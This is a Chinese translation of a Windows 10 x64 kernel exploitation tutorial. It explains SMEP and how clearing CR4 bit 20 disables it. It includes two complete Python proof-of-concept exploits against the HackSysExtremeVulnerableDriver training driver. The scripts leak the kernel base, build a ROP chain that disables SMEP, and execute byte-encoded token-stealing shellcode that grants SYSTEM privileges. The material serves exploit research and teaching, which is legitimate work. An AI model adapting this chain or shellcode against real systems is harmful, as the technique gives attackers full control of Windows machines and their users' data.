Windows 10 x64上令牌窃取有效载荷问题,并绕过SMEP(下) - 嘶吼 RoarTalk – 网络安全行业综合服务平台,4hou.com

Windows 10 x64上令牌窃取有效载荷问题,并绕过SMEP(下)

lucywang 系统安全 2020-03-25 08:56:14
1944609
收藏

导语:在这篇文章中,我想深入地研究一下我之前在x86上讨论过的令牌窃取有效载荷的问题,并看看x64架构可能有什么不同。

Windows 10 x64上令牌窃取有效载荷问题,并绕过SMEP(上)

SMEP

23.png

什么是SMEP? SMEP或Supervisor模式执行保护是最早在Windows 8(在Windows上下文中)中实现的保护。当我们谈论为内核漏洞利用执行代码时,最常见的技术是在用户模式下分配shellcode并从内核调用它。这意味着将在内核上下文中调用用户模式代码,从而为我们提供获得系统特权的适用权限。

SMEP是一种预防措施,不允许我们从环0开始执行存储在环3页面中的代码,通常从更高的环执行代码。这意味着我们无法从内核模式执行用户模式代码。为了绕过SMEP,让我们了解其实现方式。

SMEP策略通过CR4寄存器执行,根据英特尔的说法,CR4寄存器是控制寄存器。该寄存器中的每一位负责在系统上启用的各种功能。 CR4寄存器的第20位负责启用SMEP,如果CR4寄存器的第20位被设置为1,那么就启用了SMEP。当位被设置为0时,SMEP被禁用。让我们来看看Windows上的CR4寄存器,其中SMEP以正常的十六进制格式和二进制格式启用,因此我们可以真正看到第20位的位置。

r cr4

24.png

CR4寄存器的十六进制值为0x00000000001506f8,让我们以二进制形式查看它,以便我们可以看到第20位在哪里。

.formats cr4

25.png

如你所见,第20位在上图中(从右数起) 。让我们再次使用.formats命令来查看CR4寄存器中的值是什么,以便绕过SMEP。

26.png

从上面的图中可以看出,当CR4寄存器的第20位被翻转时,十六进制的值是0x00000000000506f8。

在介绍如何使用上述信息通过ROP绕过SMEP之前,让我们进一步讨论一下SMEP实现和其他潜在绕过的问题。

SMEP还可以通过内存页的页表条目(PTE)以“标志”的形式实现,回想一下,页表包含有关物理内存映射到虚拟内存的信息。内存页的PTE具有与之关联的各种标志,其中两个标志是U,表示用户模式,或者S,表示管理模式(内核模式)。当所述内存被内存管理单元(MMU)访问时,将检查此标志。在继续之前,让我们先讨论一下CPU模式。环3负责用户模式的应用程序代码,环0负责操作系统级代码(内核模式)。CPU可以根据执行的内容转换当前的特权级别(CPL)。不过,我不会深入讨论在CPU更改CPL时发生的syscalls、sysrets或其他各种例程的底层细节。另外这也不是一篇关于分页如何工作的内容,如果你有兴趣了解更多信息,我强烈建议你阅读Enrico Martignetti的《What Makes It Page: the Windows 7 (x64) Virtual Memory Manager》一书。虽然这是有关Windows 7环境的,但我相信这些概念在今天仍然适用。我给出这个背景信息,因为SMEP绕过可能会滥用这个功能。

为什么提起这个?尽管我们将介绍如何通过ROP进行SMEP绕过,但还有另一种情况需要考虑。假设我们有一个任意的读写原语。撇开PTE暂时随机的事实。如果你有一个读取原语来了解Shellcode内存页的PTE在哪里,该怎么办?绕过SMEP的另一种潜在的方法是不禁用SMEP。我们可能会使用读取原语来定位用户模式的shellcode页面,然后使用写入原语来覆盖我们的shellcode的PTE,并将U(用户模式)标志翻转为S(主管模式)标志!这样,尽管该特定地址是“用户模式地址”,但在执行该特定地址时,由于该页面的权限现在是内核模式页面的权限,因此它仍被执行。

虽然页面表条目现在是随机的,但是来自进攻性安全组织的Morten Schenk在这篇文章中谈到了对页表项进行非随机化处理。

简单来说,其步骤如下:

1. 获得读/写原始;

2. 泄漏ntoskrnl.exe(内核基);

3. 定位MiGetPteAddress()(可以动态完成,而不是静态偏移);

4. 使用PTE base获取任何内存页的PTE;

5. 更改位(是否正在将shellcode复制到页面并翻转NX位或翻转用户模式页面的U/S位)。

同样,在我对Windows中的内存分页做了更多的研究之前,我不会讨论这种绕过SMEP的方法。有关我对今后其他SMEP绕过技术的想法,请参阅此文的结尾。

绕过SMEP

让我们使用一个溢出来介绍如何用ROP绕过SMEP,ROP假设我们可以控制堆栈(当每个ROP小工具返回到堆栈时)。由于启用了SMEP,我们的ROP小工具将需要来自内核模式页面。因为我们在这里假设了中等完整性,所以我们可以调用EnumDeviceDrivers()来获得内核基,它可以绕过KASLR。

基本上,以下就是ROP链是工作的整个过程。

27.png

让我们去寻找这些ROP小工具吧,注意,ROP小工具的所有偏移量将根据操作系统、补丁级别等而变化。请记住,这些ROP小工具需要是内核模式地址。我们将使用rp++枚举ntoskrnl.exe中的rop小工具。如果你看一下我关于ROP的文章,你就会知道如何使用这个工具。

让我们找出一种方法来控制CR4寄存器的内容,虽然我们可能无法直接操作寄存器的内容,但是我们可以将可以控制的寄存器的内容移动到CR4寄存器中。回想一下pop < reg >操作将获取堆栈上下一项的内容,并将其存储在pop行动。让我们记住这一点。

使用rp ++,我们在ntoskrnl.exe中找到了一个不错的ROP小工具,它使我们可以将CR4的内容存储在ecx寄存器(RCX寄存器的“第二” 32位)中。

28.png

如你所见,此ROP小工具位于0x140108552。但是,由于这是内核模式地址,因此rp ++(来自usermode且未以管理员身份运行)不会提供此地址的完整地址。但是,如果删除前3个字节,则“地址”的其余部分实际上是相对于内核库的偏移量,这意味着该ROP小工具位于ntoskrnl.exe + 0x108552。

29.png

太棒了! rp ++的枚举有点错误,rp ++表示我们可以将ECX放入CR4寄存器。但是,经过进一步检查,我们可以看到该ROP小工具实际上指向了mov cr4, rcx指令。这对于我们的用例来说是完美的!我们有一种方法可以将RCX寄存器的内容移动到CR4寄存器中。你可能会问:“好吧,我们可以通过RCX寄存器控制CR4寄存器,但是这对我们有什么帮助呢?”回想一下我之前的文章中ROP的一个特性。只要我们有一个不错的ROP小工具,可以执行所需的操作,但是该小工具中出现不必要的弹出声,我们就使用NOP的填充数据,这是因为我们只是简单地将数据放置在寄存器中而没有执行它。

同样的原则在这里适用,如果我们可以将预期的标志值弹出到RCX中,则应该没有问题。如前所述,我们预期的CR4寄存器值应为0x506f8。

假设rp ++是对的,因为我们只能控制ECX寄存器而不是RCX的内容,这会影响我们吗?但是,请回想一下寄存器如何在这里工作。

30.png

这意味着,即使RCX包含0x00000000000506f8,一个mov cr4, ecx将采取较低的32位的RCX(即ecx),并把它放入cr4寄存器。这将意味着ECX等于0x000506f8-,并且该值最终会出现在CR4中。因此,即使理论上我们会同时使用RCX和ECX,由于缺少pop ecx ROP小工具,我们也不会受到影响!

现在,让我们继续控制RCX寄存器,让我们找到一个流行的rcx小工具!

31.png

好了!我们在ntoskrnl.exe + 0x3544处有一个ROP小工具。让我们用用户模式shellcode所在的一些断点来更新我们的POC,以验证我们是否可以使用我们的shellcode。这个POC处理语义,例如查找要覆盖的ret指令的偏移量等等。

import struct
import sys
import os
from ctypes import *
 
kernel32 = windll.kernel32
ntdll = windll.ntdll
psapi = windll.Psapi
 
 
payload = bytearray(
    "\xCC" * 50
)
 
# Defeating DEP with VirtualAlloc. Creating RWX memory, and copying our shellcode in that region.
# We also need to bypass SMEP before calling this shellcode
print "[+] Allocating RWX region for shellcode"
ptr = kernel32.VirtualAlloc(
    c_int(0),                         # lpAddress
    c_int(len(payload)),              # dwSize
    c_int(0x3000),                    # flAllocationType
    c_int(0x40)                       # flProtect
)
 
# Creates a ctype variant of the payload (from_buffer)
c_type_buffer = (c_char * len(payload)).from_buffer(payload)
 
print "[+] Copying shellcode to newly allocated RWX region"
kernel32.RtlMoveMemory(
    c_int(ptr),                       # Destination (pointer)
    c_type_buffer,                    # Source (pointer)
    c_int(len(payload))               # Length
)
 
# Need kernel leak to bypass KASLR
# Using Windows API to enumerate base addresses
# We need kernel mode ROP gadgets
 
# c_ulonglong because of x64 size (unsigned __int64)
base = (c_ulonglong * 1024)()
 
print "[+] Calling EnumDeviceDrivers()..."
 
get_drivers = psapi.EnumDeviceDrivers(
    byref(base),                      # lpImageBase (array that receives list of addresses)
    sizeof(base),                     # cb (size of lpImageBase array, in bytes)
    byref(c_long())                   # lpcbNeeded (bytes returned in the array)
)
 
# Error handling if function fails
if not base:
    print "[+] EnumDeviceDrivers() function call failed!"
    sys.exit(-1)
 
# The first entry in the array with device drivers is ntoskrnl base address
kernel_address = base[0]
 
print "[+] Found kernel leak!"
print "[+] ntoskrnl.exe base address: {0}".format(hex(kernel_address))
 
# Offset to ret overwrite
input_buffer = "\x41" * 2056
 
# SMEP says goodbye
print "[+] Starting ROP chain. Goodbye SMEP..."
input_buffer += struct.pack('<Q', kernel_address + 0x3544)      # pop rcx; ret
 
print "[+] Flipped SMEP bit to 0 in RCX..."
input_buffer += struct.pack('<Q', 0x506f8)                    # Intended CR4 value
 
print "[+] Placed disabled SMEP value in CR4..."
input_buffer += struct.pack('<Q', kernel_address + 0x108552)    # mov cr4, rcx ; ret
 
print "[+] SMEP disabled!"
input_buffer += struct.pack('<Q', ptr)                          # Location of user mode shellcode
 
input_buffer_length = len(input_buffer)
 
# 0x222003 = IOCTL code that will jump to TriggerStackOverflow() function
# Getting handle to driver to return to DeviceIoControl() function
print "[+] Using CreateFileA() to obtain and return handle referencing the driver..."
handle = kernel32.CreateFileA(
    "\\\\.\\HackSysExtremeVulnerableDriver", # lpFileName
    0xC0000000,                         # dwDesiredAccess
    0,                                  # dwShareMode
    None,                               # lpSecurityAttributes
    0x3,                                # dwCreationDisposition
    0,                                  # dwFlagsAndAttributes
    None                                # hTemplateFile
)
 
# 0x002200B = IOCTL code that will jump to TriggerArbitraryOverwrite() function
print "[+] Interacting with the driver..."
kernel32.DeviceIoControl(
    handle,                             # hDevice
    0x222003,                           # dwIoControlCode
    input_buffer,                       # lpInBuffer
    input_buffer_length,                # nInBufferSize
    None,                               # lpOutBuffer
    0,                                  # nOutBufferSize
    byref(c_ulong()),                   # lpBytesReturned
    None                                # lpOverlapped
)

现在,让我们来看看WinDbg。

正如你所看到的,我们已经找到了要覆盖的目标。

33.png

在逐步执行之前,让我们先查看调用堆栈,以查看执行将如何进行。

k

34.png

如果你在查看上面的图像时遇到了问题,请在一个新选项卡中打开它。

为了更好地理解调用堆栈的输出,列调用站点将是执行的内存地址。RetAddr列是调用站点地址完成后返回到的位置。

可以看到,被破坏的ret位于HEVD!TriggerStackOverflow+0xc8。这时,我们将返回到0xfffff80302c82544,或AuthzBasepRemoveSecurityAttributeValueFromLists+0x70。RetAddr列中的下一个值是CR4寄存器的预期值,即0x00000000000506f8。

回想一下,ret指令会将RSP加载到RIP中。因此,由于我们预期的CR4值位于堆栈上,所以从技术上讲,我们的第一个ROP小工具将“返回”到0x00000000000506f8。然而,pop rcx将从堆栈中取出该值并将其放入rcx中。这意味着我们不必担心返回到那个值,它不是有效的内存地址。

在pop rcx ROP小工具的ret之后,我们将跳到下一个ROP小工具,mov cr4, rcx,它将把rcx加载到cr4。这个ROP小工具位于0xfffff80302d87552,或者KiFlushCurrentTbWorker+0x12。最后,我们将用户模式代码放在0x0000000000b70000。

在完成易受攻击的ret指令之后,我们看到我们找到的第一个ROP小工具。

35.png

此时,预期的CR4值会插入到RCX中。

36.png

此时,我们应该会看到下一个ROP小工具,它将把RCX(禁用SMEP所需的值)移动到CR4中。

374.png

此时,我们就可以禁用SMEP了!

38.png

正如你所看到的,在我们的ROP小工具被执行之后,我们触发了断点(shellcode的占位符,以验证SMEP已禁用)!

39.png

这意味着我们已经成功地禁用了SMEP,并且我们可以执行usermode shellcode! 让我们通过有效的POC最终确定此漏洞利用。现在,我们将合并有效载荷概念和漏洞利用!让我们用武器化的Shellcode更新脚本!

import struct
import sys
import os
from ctypes import *
 
kernel32 = windll.kernel32
ntdll = windll.ntdll
psapi = windll.Psapi
 
 
payload = bytearray(
    "\x65\x48\x8B\x04\x25\x88\x01\x00\x00"              # mov rax,[gs:0x188]  ; Current thread (KTHREAD)
    "\x48\x8B\x80\xB8\x00\x00\x00"                      # mov rax,[rax+0xb8]  ; Current process (EPROCESS)
    "\x48\x89\xC3"                                      # mov rbx,rax         ; Copy current process to rbx
    "\x48\x8B\x9B\xE8\x02\x00\x00"                      # mov rbx,[rbx+0x2e8] ; ActiveProcessLinks
    "\x48\x81\xEB\xE8\x02\x00\x00"                      # sub rbx,0x2e8       ; Go back to current process
    "\x48\x8B\x8B\xE0\x02\x00\x00"                      # mov rcx,[rbx+0x2e0] ; UniqueProcessId (PID)
    "\x48\x83\xF9\x04"                                  # cmp rcx,byte +0x4   ; Compare PID to SYSTEM PID
    "\x75\xE5"                                          # jnz 0x13            ; Loop until SYSTEM PID is found
    "\x48\x8B\x8B\x58\x03\x00\x00"                      # mov rcx,[rbx+0x358] ; SYSTEM token is @ offset _EPROCESS + 0x348
    "\x80\xE1\xF0"                                      # and cl, 0xf0        ; Clear out _EX_FAST_REF RefCnt
    "\x48\x89\x88\x58\x03\x00\x00"                      # mov [rax+0x358],rcx ; Copy SYSTEM token to current process
    "\x48\x83\xC4\x40"                                  # add rsp, 0x40       ; RESTORE (Specific to HEVD)
    "\xC3"                                              # ret                 ; Done!
)
 
# Defeating DEP with VirtualAlloc. Creating RWX memory, and copying our shellcode in that region.
# We also need to bypass SMEP before calling this shellcode
print "[+] Allocating RWX region for shellcode"
ptr = kernel32.VirtualAlloc(
    c_int(0),                         # lpAddress
    c_int(len(payload)),              # dwSize
    c_int(0x3000),                    # flAllocationType
    c_int(0x40)                       # flProtect
)
 
# Creates a ctype variant of the payload (from_buffer)
c_type_buffer = (c_char * len(payload)).from_buffer(payload)
 
print "[+] Copying shellcode to newly allocated RWX region"
kernel32.RtlMoveMemory(
    c_int(ptr),                       # Destination (pointer)
    c_type_buffer,                    # Source (pointer)
    c_int(len(payload))               # Length
)
 
# Need kernel leak to bypass KASLR
# Using Windows API to enumerate base addresses
# We need kernel mode ROP gadgets
 
# c_ulonglong because of x64 size (unsigned __int64)
base = (c_ulonglong * 1024)()
 
print "[+] Calling EnumDeviceDrivers()..."
 
get_drivers = psapi.EnumDeviceDrivers(
    byref(base),                      # lpImageBase (array that receives list of addresses)
    sizeof(base),                     # cb (size of lpImageBase array, in bytes)
    byref(c_long())                   # lpcbNeeded (bytes returned in the array)
)
 
# Error handling if function fails
if not base:
    print "[+] EnumDeviceDrivers() function call failed!"
    sys.exit(-1)
 
# The first entry in the array with device drivers is ntoskrnl base address
kernel_address = base[0]
 
print "[+] Found kernel leak!"
print "[+] ntoskrnl.exe base address: {0}".format(hex(kernel_address))
 
# Offset to ret overwrite
input_buffer = ("\x41" * 2056)
 
# SMEP says goodbye
print "[+] Starting ROP chain. Goodbye SMEP..."
input_buffer += struct.pack('<Q', kernel_address + 0x3544)      # pop rcx; ret
 
print "[+] Flipped SMEP bit to 0 in RCX..."
input_buffer += struct.pack('<Q', 0x506f8)                            # Intended CR4 value
 
print "[+] Placed disabled SMEP value in CR4..."
input_buffer += struct.pack('<Q', kernel_address + 0x108552)    # mov cr4, rcx ; ret
 
print "[+] SMEP disabled!"
input_buffer += struct.pack('<Q', ptr)                          # Location of user mode shellcode
 
input_buffer_length = len(input_buffer)
 
# 0x222003 = IOCTL code that will jump to TriggerStackOverflow() function
# Getting handle to driver to return to DeviceIoControl() function
print "[+] Using CreateFileA() to obtain and return handle referencing the driver..."
handle = kernel32.CreateFileA(
    "\\\\.\\HackSysExtremeVulnerableDriver", # lpFileName
    0xC0000000,                         # dwDesiredAccess
    0,                                  # dwShareMode
    None,                               # lpSecurityAttributes
    0x3,                                # dwCreationDisposition
    0,                                  # dwFlagsAndAttributes
    None                                # hTemplateFile
)
 
# 0x002200B = IOCTL code that will jump to TriggerArbitraryOverwrite() function
print "[+] Interacting with the driver..."
kernel32.DeviceIoControl(
    handle,                             # hDevice
    0x222003,                           # dwIoControlCode
    input_buffer,                       # lpInBuffer
    input_buffer_length,                # nInBufferSize
    None,                               # lpOutBuffer
    0,                                  # nOutBufferSize
    byref(c_ulong()),                   # lpBytesReturned
    None                                # lpOverlapped
)
 
os.system("cmd.exe /k cd C:\\")

从上面可以看到,此shellcode将0x40添加到RSP。这是特定于我正在利用的进程,以恢复执行。在本例中,RAX已经被设置为0。因此,不需要对rax, rax进行异或。

如你所见,SMEP已被绕过了!

41.png

通过PTE覆盖进行SMEP绕过

未来如果有时间,我们将对Windows中的内存管理器单元和内存分页进行更多研究。研究结束后,我将介绍覆盖页表条目的底层详细信息,以将用户模式页转换为内核模式页。此外,我将在内核模式下对池内存进行更多的研究,并研究池溢出和释放后使用内核利用程序的功能和行为。

本文翻译自:https://connormcgarr.github.io/x64-Kernel-Shellcode-Revisited-and-SMEP-Bypass/如若转载,请注明原文地址:
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

 
本站4hou.com,所使用的字体和图片文字等素材部分来源于原作者或互联网共享平台。如使用任何字体和图片文字有侵犯其版权所有方的,嘶吼将配合联系原作者核实,并做出删除处理。
©2022 北京嘶吼文化传媒有限公司 京ICP备16063439号-1 本站由 提供云计算服务